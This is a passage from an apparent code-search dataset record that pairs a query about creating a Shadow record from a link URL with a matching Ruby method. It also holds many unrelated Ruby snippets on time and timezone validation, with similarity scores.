\"America/Cuiaba\", \"America/Curacao\", \"America/Grand_Turk\", \"America/Guyana\", \"America/Halifax\", \"America/La_Paz\", \"America/Manaus\", \"America/Martinique\", \"America/Port_of_Spain\", \"America/Porto_Velho\", \"America/Puerto_Rico\", \"America/Santo_Domingo\", \"America/Thule\", \"Atlantic/Bermuda\", \"America/St_Johns\", \"America/Araguaina\", \"America/Argentina/Buenos_Aires\", \"America/Bahia\", \"America/Belem\", \"America/Cayenne\", \"America/Fortaleza\", \"America/Godthab\", \"America/Maceio\", \"America/Miquelon\", \"America/Montevideo\", \"America/Paramaribo\", \"America/Recife\", \"America/Santiago\", \"America/Sao_Paulo\", \"Antarctica/Palmer\", \"Antarctica/Rothera\", \"Atlantic/Stanley\", \"America/Noronha\", \"Atlantic/South_Georgia\", \"America/Scoresbysund\", \"Atlantic/Azores\", \"Atlantic/Cape_Verde\", \"Africa/Abidjan\", \"Africa/Accra\", \"Africa/Bissau\", \"Africa/Casablanca\", \"Africa/El_Aaiun\", \"Africa/Monrovia\", \"America/Danmarkshavn\", \"Atlantic/Canary\", \"Atlantic/Faroe\", \"Atlantic/Reykjavik\", \"Etc/GMT\", \"Europe/Dublin\", \"Europe/Lisbon\", \"Europe/London\", \"Africa/Algiers\", \"Africa/Ceuta\", \"Africa/Lagos\", \"Africa/Ndjamena\", \"Africa/Tunis\", \"Africa/Windhoek\", \"Europe/Amsterdam\", \"Europe/Andorra\", \"Europe/Belgrade\", \"Europe/Berlin\", \"Europe/Brussels\", \"Europe/Budapest\", \"Europe/Copenhagen\", \"Europe/Gibraltar\", \"Europe/Luxembourg\", \"Europe/Madrid\", \"Europe/Malta\", \"Europe/Monaco\", \"Europe/Oslo\", \"Europe/Paris\", \"Europe/Prague\", \"Europe/Rome\", \"Europe/Stockholm\", \"Europe/Tirane\", \"Europe/Vienna\", \"Europe/Warsaw\", \"Europe/Zurich\", \"Africa/Cairo\", \"Africa/Johannesburg\", \"Africa/Maputo\", \"Africa/Tripoli\", \"Asia/Amman\", \"Asia/Beirut\", \"Asia/Damascus\", \"Asia/Gaza\", \"Asia/Jerusalem\", \"Asia/Nicosia\", \"Europe/Athens\", \"Europe/Bucharest\", \"Europe/Chisinau\", \"Europe/Helsinki\", \"Europe/Istanbul\", \"Europe/Kaliningrad\", \"Europe/Kiev\", \"Europe/Riga\", \"Europe/Sofia\", \"Europe/Tallinn\", \"Europe/Vilnius\", \"Africa/Khartoum\", \"Africa/Nairobi\", \"Antarctica/Syowa\", \"Asia/Baghdad\", \"Asia/Qatar\", \"Asia/Riyadh\", \"Europe/Minsk\", \"Europe/Moscow\", \"Asia/Tehran\", \"Asia/Baku\", \"Asia/Dubai\", \"Asia/Tbilisi\", \"Asia/Yerevan\", \"Europe/Samara\", \"Indian/Mahe\", \"Indian/Mauritius\", \"Indian/Reunion\", \"Asia/Kabul\", \"Antarctica/Mawson\", \"Asia/Aqtau\", \"Asia/Aqtobe\", \"Asia/Ashgabat\", \"Asia/Dushanbe\", \"Asia/Karachi\", \"Asia/Tashkent\", \"Asia/Yekaterinburg\", \"Indian/Kerguelen\", \"Indian/Maldives\", \"Asia/Calcutta\", \"Asia/Kolkata\", \"Asia/Colombo\", \"Asia/Katmandu\", \"Antarctica/Vostok\", \"Asia/Almaty\", \"Asia/Bishkek\", \"Asia/Dhaka\", \"Asia/Omsk\", \"Asia/Thimphu\", \"Indian/Chagos\", \"Asia/Rangoon\", \"Indian/Cocos\", \"Antarctica/Davis\", \"Asia/Bangkok\", \"Asia/Hovd\", \"Asia/Jakarta\", \"Asia/Krasnoyarsk\", \"Asia/Saigon\", \"Indian/Christmas\", \"Antarctica/Casey\", \"Asia/Brunei\", \"Asia/Choibalsan\", \"Asia/Hong_Kong\", \"Asia/Irkutsk\", \"Asia/Kuala_Lumpur\", \"Asia/Macau\", \"Asia/Makassar\", \"Asia/Manila\", \"Asia/Shanghai\", \"Asia/Singapore\", \"Asia/Taipei\", \"Asia/Ulaanbaatar\", \"Australia/Perth\", \"Asia/Pyongyang\", \"Asia/Dili\", \"Asia/Jayapura\", \"Asia/Seoul\", \"Asia/Tokyo\", \"Asia/Yakutsk\", \"Pacific/Palau\", \"Australia/Adelaide\", \"Australia/Darwin\", \"Antarctica/DumontDUrville\", \"Asia/Magadan\", \"Asia/Vladivostok\", \"Australia/Brisbane\", \"Australia/Hobart\", \"Australia/Sydney\", \"Pacific/Chuuk\", \"Pacific/Guam\", \"Pacific/Port_Moresby\", \"Pacific/Efate\", \"Pacific/Guadalcanal\", \"Pacific/Kosrae\", \"Pacific/Norfolk\", \"Pacific/Noumea\", \"Pacific/Pohnpei\", \"Asia/Kamchatka\", \"Pacific/Auckland\", \"Pacific/Fiji\", \"Pacific/Funafuti\", \"Pacific/Kwajalein\", \"Pacific/Majuro\", \"Pacific/Nauru\", \"Pacific/Tarawa\", \"Pacific/Wake\", \"Pacific/Wallis\", \"Pacific/Apia\", \"Pacific/Enderbury\", \"Pacific/Fakaofo\", \"Pacific/Tongatapu\", \"Pacific/Kiritimati\"])\n unless validator.valid?(timezone)\n fail ArgumentError, \"invalid value for \\\"timezone\\\", must be one of #{validator.allowable_values}.\"\n end\n @timezone = timezone\n end",
"def valid_send_at(ctx, **)\n return true if ctx[:send_at].blank?\n\n begin\n parsed_send_at = Time.zone.parse(ctx[:send_at])\n return false if parsed_send_at.nil?\n\n ctx[:send_at] = parsed_send_at\n rescue ArgumentError\n return false\n end\n\n !ctx[:send_at].nil?\n end",
"def valid?(v)\n day?(v)\n end",
"def valid_point\n not (@point.time.nil? or @point.latitude.nil? or @point.longitude.nil?)\n end",
"def valid_reservation_time?(reservation_time)\n reservation_h = reservation_time.strftime(\"%H\").to_i\n start_h = start_time.strftime(\"%H\").to_i\n end_h = end_time.strftime(\"%H\").to_i\n if start_h < reservation_h && reservation_h < end_h\n return true\n else\n return false\n end\n end",
"def valid_date?(date)\n return (not DateTime.parse(date).nil?)\n rescue StandardError => e\n return false\n end",
"def valid_time\n return if init.nil? || finish.nil?\n if init < Week.init || init > Week.finish\n errors.add(:init, \"Deve ser no périodo desta semana\")\n elsif finish < Week.init || finish > Week.finish\n errors.add(:finish, \"Deve ser no périodo desta semana\")\n elsif finish < init\n errors.add(:finish, \"Deve ser maior que a data de início\")\n end\n end",
"def valid_representation?(date, time)\n year, month, day = date\n hour = time.first\n\n date.nil? || !(!year.nil? && (month.nil? || day.nil?) && !hour.nil?)\n end",
"def valid_at(time=Time.now)\n raise NotImplementedError\n end",
"def in_time_zone(time)\n time.in_time_zone(time_zone)\n end",
"def timezone(identifier); end",
"def timezone(identifier); end",
"def timezone(identifier); end",
"def validate_zoneinfo_dir(path, iso3166_tab_path = T.unsafe(nil)); end",
"def validate_zoneinfo_dir(path, iso3166_tab_path = T.unsafe(nil)); end",
"def test_identifies_time_with_EST_timezone\n dateTime = DateTimeParser.parse(\"TZID=Canada/Eastern:19980119T020000\")\n assert_equal Time.new(1998, 1, 19, 2, 0, 0, \"-05:00\"), dateTime\n end",
"def is_valid_time?(timeBegin, timeEnd)\n\n\t\t#zone = Timezone.get('America/Chicago').now.zone\n\n\t\t#freebusy method only responds to a couple of months (maybe <=3)\n\t\tresponse = @client.execute(api_method: @service.freebusy.query,\n\t\t\t\t\t body: JSON.dump({\n\t\t\t timeMin: timeBegin,\n\t\t\t timeMax: timeEnd,\n\t\t\t timeZone: 'America/Chicago',\n\t\t\t items:[ id: ENV['NSCS_Calendar_ID']]\n\t\t\t }),\n\t\t\t headers: {'Content-Type' => 'application/json'})\n\t\t@client.authorization.refresh!\n\t\tevents = JSON.parse(response.body)\n\t\t\n\t\t#TODO iteratife over events.\n\t\t\n\tend",
"def check_dates\n # TODO the init_time must be less then the end_time\n true\n end",
"def isValid?\n if @Valid.nil?\n params = []\n joins = ''\n where = ''\n\n if not @Locales.empty?\n joins += ' LEFT JOIN `Locales` AS L ON TN.Locale = L.ID'\n where = 'L.Name COLLATE NOCASE IN (' + Array.new(@Locales.count, '?').join(',') + ') AND '\n params += @Locales\n end\n\n sql = \"SELECT 1 FROM `TimezoneNames` TN #{joins} WHERE #{where}TN.NameLowercase = ? COLLATE NOCASE LIMIT 1\"\n params << @Timezone.downcase\n\n @Valid = Data::Storage.getStatement(sql).execute(*params).count > 0\n end\n @Valid\n end",
"def valid_checkin_at?\n return true if datetime_parsed?(@record.checkin_at.to_s)\n\n error_message = I18n.t('models.entry.errors.invalid_datetime')\n add_error_record(:checkin_at, error_message)\n end",
"def valid_date?(date)\n begin\n Date.parse(date) && date.match?(/\\d{4}\\-\\d{2}\\-\\d{2}/)\n rescue\n false\n end\n end",
"def validate_and_parsetime(value)\n return unless value\n Time.iso8601(value).getutc.to_i\n rescue ArgumentError => e\n logger.error \"Couldn't parse time from '#{value}'\"\n nil\n end",
"def time?(string)\n begin\n DateTime.strptime(string, @time_format)\n true\n rescue\n false\n end\n end",
"def validate_and_parsetime(value)\n return unless value\n Time.iso8601(value).getutc.to_i\n rescue ArgumentError => e\n logger.error \"Couldn't parse time from '#{value}'\"\n nil\n end",
"def password_token_valid?\n (updated_at + 4.hours) > Time.now.utc\n end",
"def check_future\n current_start = DateTime.strptime(self.start_time,\"%m/%d/%y %H:%M\").to_time\n current_end = DateTime.strptime(self.end_time,\"%m/%d/%y %H:%M\").to_time \n\n # checks start time of appt is before end time #\n if current_start < current_end\n if current_start > Time.now && current_end > Time.now\n @valid = true\n else\n @valid = false\n end\n end\n @valid\n p @valid\n end",
"def valid_from\n utc_timestamp_from('valid_from')\n end",
"def test_parse_to_utc_returns_nil_on_obviously_invalid_input_it_used_to_swallow\n pend 'Time.parse_to_utc validation failure, see https://github.com/3scale/apisonator/pull/167#issuecomment-597586622' do\n assert_nil Time.parse_to_utc('201210garbage201210')\n end\n end",
"def has_valid_date?\n self.time_event < Time.now.advance(days: 1)\n end",
"def valid_date?\n !!(params[:date].match(/\\d{4}-(0[1-9]|1[0-2])-\\d{2}/)) && Date.parse(params[:date]) rescue false \n end",
"def hour?\n at_match[2].present?\n end",
"def validate_time_stamps\n\t\tif !activated_at.blank? && activated_at < Time.now then\n\t\t\terrors.add(:invalid_date, \"activated_at can not be a past date\")\n\t\tend\n\t\t#if (!deactivated_at.blank? && deactivated_at < Time.now) then\n\t\t#\t\terrors.add(:invalid_date,\" deactivated_at can not be a past date\")\n\t\t#end\n\t\tif !activated_at.blank? && !deactivated_at.blank? && activated_at > deactivated_at then\n\t\t\terrors.add(:invalid_date,\"activated_at can not be future to deactivated_at\")\n\t\tend\n\tend",
"def timezone debug = false\n command = '666,!FzP' + ( Time.now.gmt_offset/60/60 ).to_s\n data = self.raw command, true, debug\n return data == \"666,OK\\r\\n\"\n end",
"def valid_date?(date)\n date =~ %r(\\A\\d{4}\\/\\d{1,2}\\/\\d{1,2}\\z)\n end",
"def valid_timestamp?(timestamp)\n (timestamp.is_a?(Integer) ||\n (timestamp.is_a?(String) && timestamp.match(/^\\d+$/))) &&\n timestamp.to_i > 946_684_800 &&\n timestamp.to_i < (Time.now.to_i + 31_557_600)\n end",
"def date_cannot_be_in_the_past\n if end_time.present? && end_time < Time.zone.today\n errors.add(:end_time, \"end_date can't be in the past\")\n elsif start_time.present? && start_time < Time.zone.today\n errors.add(:start_time, \"start_date can't be in the past\")\n end\n end",
"def validate_time(tweet)\n current = DateTime.now\n five_past = DateTime.new(current.year, current.month, current.day, current.hour, current.min-5, current.sec, \"-05:00\")\n tweet.created_at.to_time.to_i > five_past.to_time.to_i ? true : false\n end",
"def passed?\n (self.ends_at < Time.zone.now) && !((self.ends_at.to_date.eql?(Time.zone.now.to_date)) && self.ends_at.strftime('%H%M').eql?(\"0000\"))\n end",
"def fix_time_zone\n return true if self.time_zone.nil?\n return true if ActiveSupport::TimeZone[self.time_zone]\n try = self.time_zone.gsub('&', '&')\n self.time_zone = try if ActiveSupport::TimeZone[try]\n end",
"def in_zone(zone_name, &block)\n\n EtOrbi.class_eval do\n @local_tzone = nil\n @local_tzone_tz = nil\n @local_tzone_loaded_at = nil\n end\n\n prev_tz = ENV['TZ']\n\n if zone_name == :no_env_tz\n ENV.delete('TZ')\n elsif zone_name == nil\n ENV['TZ'] = EtOrbi.os_tz\n else\n zone_name = EtOrbi.to_windows_tz(zone_name) if Gem.win_platform?\n ENV['TZ'] = zone_name\n end\n\n block.call\n\nensure\n\n ENV['TZ'] = prev_tz\nend",
"def is_valid?\n \tDateTime.now < self.expires_at\n end",
"def time_zone(latitude, longitude)\n get_lookup(:time_zone).search(latitude, longitude) if valid_input?(latitude, longitude)\n end",
"def ==(ct)\n ct.kind_of?(CountryTimezone) &&\n identifier == ct.identifier && latitude == ct.latitude &&\n longitude == ct.longitude && description == ct.description \n end",
"def time_zone=(_arg0); end",
"def time_zone=(_arg0); end",
"def _valid_time? hour, minute, second\n hour += 24 if hour < 0\n minute += 60 if minute < 0\n seconds += 60 if second < 0\n return unless ((0...24) === hour && (0...60) === minute && (0...60) === second) ||\n (24 == hour && 0 == minute && 0 == second)\n time_to_day_fraction hour, minute, second\n end",
"def is_valid_datetime?\n Chronic.parse(@value.respond_to?(:to_date) ? @value.to_date : @value.to_s)\n end",
"def valid_time?(h, min, s)\n h += 24 if h < 0\n min += 60 if min < 0\n s += 60 if s < 0\n return unless ((0..23) === h &&\n (0..59) === min &&\n (0..59) === s) ||\n (24 == h &&\n 0 == min &&\n 0 == s)\n time_to_day_fraction(h, min, s)\n end",
"def check_resolved_at\n self.errors.add('Resolved at', 'can\\'t be blank') if (self.resolved && self.resolved_at.blank?)\n end",
"def is_valid_date?(string_date, format=\"%d/%m/%Y\")\n begin\n time = Date.strptime(string_date, format)\n rescue ArgumentError\n return false\n end\n true\n end"
] |
[
"0.81070393",
"0.72459674",
"0.72459674",
"0.72459674",
"0.69781744",
"0.6906113",
"0.68039167",
"0.678006",
"0.6725676",
"0.6663425",
"0.6575564",
"0.6505368",
"0.6474721",
"0.63975865",
"0.6331326",
"0.63050133",
"0.6302639",
"0.63013375",
"0.62901264",
"0.6287064",
"0.6269338",
"0.6269338",
"0.6269338",
"0.6263154",
"0.62541634",
"0.6233909",
"0.61753297",
"0.61747086",
"0.6145091",
"0.6135835",
"0.6133684",
"0.6121793",
"0.61039704",
"0.6096378",
"0.6095858",
"0.6093277",
"0.6093245",
"0.6080866",
"0.6055708",
"0.60467196",
"0.6011012",
"0.6007349",
"0.59912723",
"0.5973656",
"0.59658366",
"0.5964677",
"0.59312505",
"0.5928554",
"0.5856815",
"0.58465266",
"0.5839851",
"0.58394665",
"0.5830802",
"0.5827832",
"0.58058965",
"0.5803414",
"0.5786694",
"0.5778622",
"0.5778249",
"0.5775638",
"0.57706964",
"0.5767033",
"0.5767033",
"0.5767033",
"0.5763049",
"0.5763049",
"0.5757828",
"0.5708183",
"0.5706045",
"0.5699216",
"0.5692414",
"0.56717014",
"0.56568366",
"0.5656412",
"0.56486523",
"0.56484",
"0.5627311",
"0.5623992",
"0.56025684",
"0.5602464",
"0.5601744",
"0.5578442",
"0.55747956",
"0.5573848",
"0.55647874",
"0.55499667",
"0.5546581",
"0.55384743",
"0.5537677",
"0.5536218",
"0.55132073",
"0.5506965",
"0.55048954",
"0.5494765",
"0.5487911",
"0.5487911",
"0.5486601",
"0.54791313",
"0.5469565",
"0.54604053",
"0.5430748"
] |
0.0
|
-1
|
If child_id is not set, then link_url is used to find/create a Shadow and set the shadow_id
|
def create_shadow_if_needed
if self.link_url.present?
self.shadow = Shadow.special_find_or_create_by_web_url( self.link_url )
if( self.shadow.errors.empty? )
write_attribute(:shadow_id, self.shadow.id)
return true
else
errors.add_to_base( self.shadow.errors.full_messages.to_sentence )
return false
end
else
errors.add(:link_url, "can't be blank" )
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_permalink\n if parent_id.nil?\n self.permalink = name.to_url if permalink.blank?\n else\n parent_taxon = Taxon.find(parent_id)\n self.permalink = [parent_taxon.permalink, (permalink.blank? ? name.to_url : permalink.split('/').last)].join('/')\n end\n end",
"def update_child_permalinks\n if respond_to?(:children)\n self.children.each do |child|\n child.regenerate_permalink!\n child.save!\n end\n end\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def set_child\n @child = Child.find(params[:id])\n end",
"def linkDescendants(id, child, childMap, done)\n childMap[child].each { |child2|\n if !done.include?([id, child2])\n #puts \"linkDescendants: id=#{id} child2=#{child2}\"\n UnitHier.create(\n :ancestor_unit => id,\n :unit_id => child2,\n :ordering => nil,\n :is_direct => false\n )\n done << [id, child2]\n end\n if childMap.include?(child2)\n linkDescendants(id, child2, childMap, done)\n end\n }\nend",
"def set_child\n @child = Child.find(params[:id])\n end",
"def create\n child = Assembly.find(params[:child_id])\n @relationship = @assembly.relationships.build(child: child)\n child = @relationship.child\n child.used = true\n child.save\n\n respond_to do |format|\n if @relationship.save\n format.html { redirect_to [@plan, @assembly], notice: 'Relationship was successfully created.' }\n format.json { render json: @relationship, status: :created, location: @relationship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def link(parent, child)\n git[sha_path(parent, child)] = [DEFAULT_MODE, child]\n self\n end",
"def set_permalink \n if parent.present?\n self.permalink = [parent.permalink, name.to_url ].join('/')\n else\n self.permalink = name.to_url \n end\n end",
"def set_drink\r\n $admenu = Admenu.where(:id => params[:admenu_id]).first\r\n $drink = $admenu.drinks.where(:id => params[:id]).first\r\n end",
"def set_drink\r\n $admenu = Admenu.where(:id => params[:admenu_id]).first\r\n $drink = $admenu.drinks.where(:id => params[:id]).first\r\n end",
"def set_link\n if params[:id]\n # raise ActionController::RoutingError.new('Not Found')\n @link = Link.find_by_admin_id(params[:id])\n elsif params[:uuid]\n @link = Link.find_by_admin_id(params[:uuid])\n elsif params[:hash_id]\n id = Hashid.decode(params[:hash_id]).first #first is required otherwise array is returned\n @link = Link.find(id)\n end\n end",
"def add_child_id(id)\n children_ids << id\n end",
"def setup_child_parent_links\n # Clear all links\n @items.each do |item|\n item.parent = nil\n item.children = []\n end\n\n @items.each do |item|\n # Get parent\n parent_identifier = item.identifier.sub(/[^\\/]+\\/$/, '')\n parent = @items.find { |p| p.identifier == parent_identifier }\n next if parent.nil? or item.identifier == '/'\n\n # Link\n item.parent = parent\n parent.children << item\n end\n end",
"def setup_child_parent_links\n # Clear all links\n @items.each do |item|\n item.parent = nil\n item.children = []\n end\n\n @items.each do |item|\n # Get parent\n parent_identifier = item.identifier.sub(/[^\\/]+\\/$/, '')\n parent = @items.find { |p| p.identifier == parent_identifier }\n next if parent.nil? or item.identifier == '/'\n\n # Link\n item.parent = parent\n parent.children << item\n end\n end",
"def paste_child\n @obj = Node.find(params[:id])\n node = Basket.basket.first_child\n\n if node\n @obj.insert_child(node)\n end\n\n render 'show'\n end",
"def id=(value)\n @children['id'][:value] = value\n end",
"def add_link(child)\n if child.support == 1 # leaf in a new branch\n header_table.each do |header|\n return header.add_link(child) if header.item == child.item\n end\n end\n end",
"def relist_child_id\n item_hash.deep_find([:listing_details, :relisted_item_id])\n end",
"def rewrite_child(child, name = nil)\n end",
"def flag_link_dom_id(object)\n dom_id(object, :flag_link)\n end",
"def set_key_donor_child\n @key_donor_child = KeyDonorChild.find(params[:id])\n end",
"def child\n return @links[:child]\n end",
"def set_child_springboard_id(child_type, springboard_resource_id)\n child = child_springboard_resources.find { |element| element.resource_type == child_type }\n if child.present?\n child.update(springboard_id: springboard_resource_id)\n else\n spree_springboard_resource = Spree::SpringboardResource.new(\n resource_type: child_type,\n parent: self,\n springboard_id: springboard_resource_id\n )\n child_springboard_resources << spree_springboard_resource\n save\n end\n end",
"def follow_fan_base!(followed)\r\n fan_relationships.create!(:followed_id => followed.id)\r\n end",
"def set_id(page)\n page.data['id'] = page.data['permalink'][1..page.data['permalink'].length]\n end",
"def create_or_update_then_render_child(parent, child_name)\n child_obj = parent.send(child_name)\n attribute_name_params_template = \"#{child_name}_params\"\n attribute_name_params = send(attribute_name_params_template)\n\n child_obj = build_has_one_child_if_nil parent, child_name\n child_obj.assign_attributes(attribute_name_params)\n\n render_wizard child_obj\n end",
"def set_traumatized_child\n @traumatized_child = TraumatizedChild.find(params[:id])\n end",
"def set_parent_child\n\t \t@parent_child = ParentChild.find(params[:id])\n\tend",
"def new_child\n nil\n end",
"def create_child\n Walker.new(x, y, direction + 2*rand(2) - 1)\n end",
"def regenerate_permalink!\n \n self.permalink = if respond_to?(:parent)\n if parent.nil?\n \"/\"\n else\n File.join(parent.permalink, slug)\n end\n else\n \"/#{slug}\"\n end\n \n end",
"def set_handicaps_to_child\n @handicaps_to_child = HandicapsToChild.find(params[:id])\n end",
"def <<(child)\n child_type = validate_expected_child_type(child)\n validate_unique(child, child_type)\n child_id_of[child_type[0]] ||= {}\n child_id_of[child_type[0]][child[child_type[1]]] = child\n super child\n end",
"def find_child!(children, child_id)\n child = find_child(children, child_id)\n error 404, convert(body_for(:not_found)) unless child\n child\n end",
"def find_object_from_link(parent_object, id)\n find_object(parent_object, id)\n end",
"def set_child_foreign_keys\n self.children.each do |child|\n child.post_id = self.post_id\n end\n end",
"def attach_child( account )\n account.parent = self\n children << account\n end",
"def add_child\n @portfolio = @site.portfolios.build\n @parent_id = params[:id]\n render :action => 'new'\n end",
"def create_child_from_uuid(uuid)\n @database.execute(\"SELECT ZICCLOUDSYNCINGOBJECT.Z_PK, ZICCLOUDSYNCINGOBJECT.ZIDENTIFIER, \" + \n \"ZICCLOUDSYNCINGOBJECT.ZTYPEUTI \" + \n \"FROM ZICCLOUDSYNCINGOBJECT \" + \n \"WHERE ZIDENTIFIER=?\", uuid) do |row|\n tmp_child = AppleNotesEmbeddedPublicJpeg.new(row[\"Z_PK\"],\n row[\"ZIDENTIFIER\"],\n row[\"ZTYPEUTI\"],\n @note,\n @backup)\n tmp_child.parent = self\n tmp_child.search_and_add_thumbnails # This will cause it to regenerate the thumbnail array knowing that this is the parent\n add_child(tmp_child)\n end\n end",
"def set_sibling_background\n @sibling_background = SiblingBackground.find(params[:id])\n end",
"def append_fake_child(model, iter)\n fake = model.append(iter)\n fake[0] = FAKE_ID\n end",
"def linkUnit(id, childMap, done)\n childMap[id].each_with_index { |child, idx|\n if !done.include?([id, child])\n #puts \"linkUnit: id=#{id} child=#{child}\"\n UnitHier.create(\n :ancestor_unit => id,\n :unit_id => child,\n :ordering => idx,\n :is_direct => true\n )\n done << [id, child]\n end\n if childMap.include?(child)\n linkUnit(child, childMap, done)\n linkDescendants(id, child, childMap, done)\n end\n }\nend",
"def respond_to_url_change\n return if apotomo_root.find_by_id('deep_link') # add only once.\n apotomo_root << widget(\"apotomo/deep_link_widget\", :setup, 'deep_link')\n end",
"def set_child_record\n @child_record = ChildRecord.find(params[:id])\n end",
"def set_descendant\n @descendant = Descendant.find(params[:id])\n end",
"def create_from_children\n single_day_event = Event.find(params[:id])\n new_parent = MultiDayEvent.create_from_children(single_day_event.multi_day_event_children_with_no_parent)\n expire_cache\n redirect_to(action: :edit, id: new_parent.to_param)\n end",
"def create_child( name )\n account = build_child( name )\n attach_child( account )\n return account\n end",
"def set_permalink\n @permalink = Permalink.find(params[:id])\n end",
"def create_attribute_links__clone_if_needed\n return if self.port_links.empty?\n sp_hash = {\n cols: [:id, :display_name, :group_id, :input_id, :output_id],\n filter: [:oneof, :id, self.port_links.map(&:id)]\n }\n port_link_mh = self.port_links.first.id_handle.createMH\n Model.get_objs(port_link_mh, sp_hash).each do |port_link|\n port_link.create_attribute_links__clone_if_needed(self.target.id_handle, set_port_link_temporal_order: true)\n end\n end",
"def right_child=(child)\n child.owner = self\n @right_child = child\n end",
"def normalize_link_id(id); end",
"def create_child(attributes, parent = nil)\n argument = Argument.new(attributes)\n unless argument.save\n argument.dest_id = parent.id if parent # reassign parent\n return argument \n end\n \n argument.move_to_child_of(parent) if parent && argument.errors.blank?\n argument\n end",
"def child_bridge(association_id, options = {})\n options[:class_name] ||= name.gsub(/Dimension$/, 'HierarchyBridge')\n options[:foreign_key] ||= \"parent_id\"\n has_many association_id, options\n @child_hierarchy_relationship = reflections[association_id]\n end",
"def create_child_id\n return unless child_id.nil?\n \n recent = Child.find(:first, :conditions => [\"cohort = ? and child_id IS NOT NULL\", cohort], :select => \"child_id\", :order => \"child_id DESC\")\n last_child_id = recent != nil ? recent.child_id.to_i : \"6#{cohort}0000\".to_i\n \n\twrite_attribute(:child_id, last_child_id + 1)\n\tsave\n\t\n return last_child_id\n end",
"def setshadow(*)\n super\n end",
"def hyperlink_rel_id\n @hyperlink_rel ? @hyperlink_rel.id : nil\n end",
"def set_externalformlink\n @externalformlink = Externalformlink.find(params[:id])\n end",
"def orphan_path(type_id = nil)\n path = 'content/orphans/'\n path << \"#{type_id}/\" if type_id\n path\n end",
"def add_listing(n)\n return nil if Listing.exists?(ref_id: @ref_id_xpath[n].text)\n super(n, true)\n end",
"def parent_id=(v)\n v = nil if v == '#'\n super(v)\n end",
"def create_links\n end",
"def create_links\n end",
"def save_related\n if self.links.present?\n self.links.each do | link |\n link.parent_type = :action_item\n link.parent_key = self.key\n link.save!\n end\n end\n end",
"def add_href\n return if attributes.key?(\"href\")\n return unless attributes.key?(\"id\")\n attributes[\"href\"] = client.connection.api_path(\"#{collection.name}/#{attributes['id']}\")\n end",
"def generate_html\n \"<a href='../#{@parent.reference_location}'><img src='../#{@reference_location}' /></a>\"\n end",
"def add_child(child)\n child.parent = self\n end",
"def set_manage_glow\n @manage_glow = ManageGlow.find_by_slug(params[:id])\n end",
"def before_create\n self.target_id = target.id if target\n end",
"def initialize_deep_link_for(id, start_states, opts)\n #add_deep_link if opts[:is_url_listener] ### DISCUSS: remove #add_de\n end",
"def _tree_navigate_through_child\n @ontology_class = OntologyClass.find_by_id(params[:id])\n \n @object_relationship = ObjectRelationship.find(params[:parent_relationship]) if !params[:parent_relationship].blank?\n @object_relationship == 'root' if !@object_relationship \n \n # close 1 1; open 0 1; open false (close); true (open) \n render :update do |page|\n page.replace \"level_#{@ontology_class.id}\", :partial => 'ontology/tree/tree_recurser', :locals => {\n :level => (params[:close] ? 1 : 0),\n :max_depth => 1,\n :parent_node => @ontology_class,\n :open => (params[:close] ? false : true),\n :relationship => @object_relationship,\n :relationship_type => params[:relationship_type] }\n end and return \n end",
"def before_create(linkrequest)\n# self.validate\n# linkrequest.id = UUIDTools::UUID.timestamp_create().to_s\n end",
"def set_url\n self.update_column(:url, '/' + self.ancestry_url)\n end",
"def maybe_child_targets uris, uri\n # this could be more efficient by trackign whihc uris have already been fetched\n maybe_new_targets = Links.new(uris, uri)\n maybe_new_targets.get_links.each do |k,v|\n # add children of target\n maybe_add_target k, false, \"\", uri\n end\nend",
"def child_node=(_); end",
"def generated_permalink; end",
"def split_off_absorption_to_link absorption, make_copy\n trace :datavault, \"Promote #{absorption.inspect} to a new Link\" do\n\n # REVISIT: Here we need a new objectified fact type with the same two players and the same readings,\n # complete with LinkFactTypes. Then we need two Absorptions, one for each LinkFactType, and with\n # the same child role names as the role names in our original fact type.\n #\n # The current code tries to re-use the same fact type, but the absorptions cannot work for both as\n # the parent object type can only be one of the two types. That's why this is currently failing its\n # validation tests.\n\n link_name =\n absorption.\n parent_role.\n fact_type.\n reading_preferably_starting_with_role(absorption.parent_role).\n expand([], false).words.capwords*' '\n # A simpler naming, not using the fact type reading\n # link_name = absorption.root.mapping.name + ' ' + absorption.child_role.name\n\n link_from = absorption.parent.composite\n link_to = absorption.foreign_key.composite\n\n # A new composition that maps the same object type as this absorption's parent:\n mapping = @constellation.Mapping(:new, name: link_name, object_type: absorption.parent_role.object_type)\n link = @constellation.Composite(mapping, composition: @composition)\n\n unless make_copy\n remove_indices absorption\n\n # Move the absorption across to here\n absorption.parent = mapping\n\n if absorption.foreign_key\n trace :datavault, \"Setting new source composite for #{absorption.foreign_key.inspect}\"\n absorption.foreign_key.source_composite = link\n debugger unless absorption.foreign_key.all_foreign_key_field.single\n fk2_component = absorption.foreign_key.all_foreign_key_field.single.component\n end\n end\n\n # Add a surrogate key:\n inject_surrogate link\n\n # Add a Surrogate foreign Key to the link_from composite\n fk1_target = link_from.primary_index.all_index_field.single\n raise \"Internal error: #{link_from.inspect} should have a surrogate key\" unless fk1_target\n # Here, we're jumping directly to the foreign key field.\n # Normally we'd have the Absorption of the object type, containing the FK field.\n # We have no fact type for this absorption; it should be the LinkFactType of the notional objectification\n # This affects the absorption path comment on the related SQL coliumn, for example.\n # REVISIT: Add the LinkFactType for the notional objectification, and use that.\n fk1_component = fk1_target.component.fork_to_new_parent mapping\n\n fk2_target = link_to.primary_index.all_index_field.single\n if make_copy\n # See the above comment for fk1_component; it applies here also\n fk2_component = fk2_target.component.fork_to_new_parent mapping\n else\n # We're using the leaf component of the absorption we moved across\n end\n\n # Add a natural key:\n natural_index =\n @constellation.Index(:new, composite: link, is_unique: true, composite_as_natural_index: link)\n @constellation.IndexField(access_path: natural_index, ordinal: 0, component: fk1_component)\n @constellation.IndexField(access_path: natural_index, ordinal: 1, component: fk2_component)\n\n # Add ForeignKeys\n fk1 = @constellation.ForeignKey(\n :new,\n source_composite: link,\n composite: link_from\n )\n @constellation.ForeignKeyField(foreign_key: fk1, ordinal: 0, component: fk1_component)\n # REVISIT: This should be filled in 